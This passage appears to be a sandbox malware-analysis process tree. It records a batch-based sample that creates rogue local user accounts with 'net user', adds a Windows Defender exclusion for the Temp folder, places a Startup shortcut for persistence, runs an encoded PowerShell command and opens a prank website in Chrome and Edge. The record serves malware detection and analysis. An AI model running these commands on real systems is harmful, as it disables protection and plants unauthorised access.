      Suspicious use of WriteProcessMemory
      PID:5824
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser23 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:2760
  - - C:\Windows\system32\net.exe
      net user NewUser3 new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:2092
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser3 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:2864
  - - C:\Windows\system32\net.exe
      net user NewUser4 new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser4 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:816
  - - C:\Windows\system32\net.exe
      net user NewUser5 new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:2140
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser5 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:2232
  - - C:\Windows\system32\net.exe
      net user NewUser6 new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:5144
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser6 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:4228
  - - C:\Windows\system32\net.exe
      net user NewUser7 new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:4516
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser7 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:5012
  - - C:\Windows\system32\net.exe
      net user NewUser8 new newpassword /add
      4⤵
      Creates a new local user account
      Suspicious use of WriteProcessMemory
      PID:4352
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user NewUser8 new newpassword /add
        5⤵
        Creates a new local user account
        
        PID:5492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4704
  - - C:\Windows\system32\where.exe
      where chrome
      4⤵
      PID:4820
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1100
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0xb8,0x138,0x7ffadbf0c728,0x7ffadbf0c734,0x7ffadbf0c740
        5⤵
        
        PID:1952
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,2910165548727530149,6463091637088603013,262144 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
        5⤵
        
        PID:3324
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2080,i,3847310011886223496,7819652139837200369,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=2084 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3724
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2220,i,17313270392529844270,1573572107443417051,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:13
        5⤵
        
        PID:3408
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3200,i,9653242811535089139,10746227576193953992,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:1
        5⤵
        
        PID:2492
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3204,i,13535617535959428866,6572747147630275831,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:1
        5⤵
        
        PID:1064
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4588,i,7740847332846054876,14161055493209955143,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=4596 /prefetch:14
        5⤵
        
        PID:5748
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4856,i,5134150806575829010,8948063049342412260,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:12
        5⤵
        
        PID:1724
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5192,i,12522406827772697098,15437061235648408803,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:1
        5⤵
        
        PID:6336
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4612,i,8440210446397292985,7168978467839240994,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:1
        5⤵
        
        PID:6416
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5904,i,6566954855650751745,13159459429377258995,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:1
        5⤵
        
        PID:6852
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6408,i,15104545044126776100,16151650512355118182,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:14
        5⤵
        
        PID:7444
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=264,i,3750005489913932971,8472193049533544084,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:14
        5⤵
        
        PID:6568
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6388,i,4531569445267559345,18355669025106482562,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
        5⤵
        
        PID:7420
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6556,i,1849967158742893411,8255326559206300292,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:14
        5⤵
        
        PID:7404
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6552,i,4653980392377725840,5044151312615596947,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:1
        5⤵
        
        PID:8588
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6516,i,15650877085279537220,13107715169078360757,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:1
        5⤵
        
        PID:8580
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6512,i,9511922742729681219,14095511106525129385,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:1
        5⤵
        
        PID:8128
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=800,i,15997540685851334675,13550241784439870494,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:1
        5⤵
        
        PID:4648
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5724,i,5742089640061759391,10887733298599362943,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:14
        5⤵
        
        PID:8676
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6940,i,16472271379002219007,10163400881267703640,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:1
        5⤵
        
        PID:2648
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6408,i,17702787900549670610,10354813033834656659,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=800 /prefetch:1
        5⤵
        
        PID:2840
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=7188,i,16726581850664856718,7863237699193065214,262144 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=7024 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1588
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=7184,i,7987076925001254429,10516662640066354173,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6992 /prefetch:1
        5⤵
        
        PID:6608
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6424,i,9210898911818401571,4220106545816476880,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=7048 /prefetch:1
        5⤵
        
        PID:8484
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6212,i,4617638656099207191,13401004797392954095,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:14
        5⤵
        
        PID:7508
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=5940,i,17164085529817554871,3693754935568082810,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
        5⤵
        
        PID:6988
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5956,i,12348205314138954040,7545660811849201297,524288 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:14
        5⤵
        
        PID:7860
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=6556,i,2020315916309635455,7858718748768949402,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6540 /prefetch:1
        5⤵
        
        PID:3640
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=6536,i,1815716588735381113,1891749806596717121,2097152 --field-trial-handle=1920,i,10774731113483986697,15876466356266647100,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:9
        5⤵
        
        PID:2432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x294,0x7ffac563c188,0x7ffac563c194,0x7ffac563c1a0
        5⤵
        
        PID:4584
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,1849163674686810624,7229702036356827549,262144 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:2
        5⤵
        
        PID:5576
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1868,i,4491561102574212646,9611059476420510660,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4700
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2200,i,12969644187086890192,10905874996548710128,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:13
        5⤵
        
        PID:3096
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3564,i,1098387844750701022,10866619454935480742,2097152 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
        5⤵
        
        PID:4896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3560,i,9170654179853138197,4261464336096383545,2097152 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
        5⤵
        
        PID:4932
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4264,i,6111462104990127303,16839979033531135971,2097152 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=4888 /prefetch:9
        5⤵
        
        PID:4252
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4268,i,8575612529148913624,10326543874929637491,2097152 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
        5⤵
        
        PID:5020
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,1051720439082015111,989685407262857284,524288 --field-trial-handle=2584,i,9162770234432102191,3586385135855082975,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
        5⤵
        
        PID:4084
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
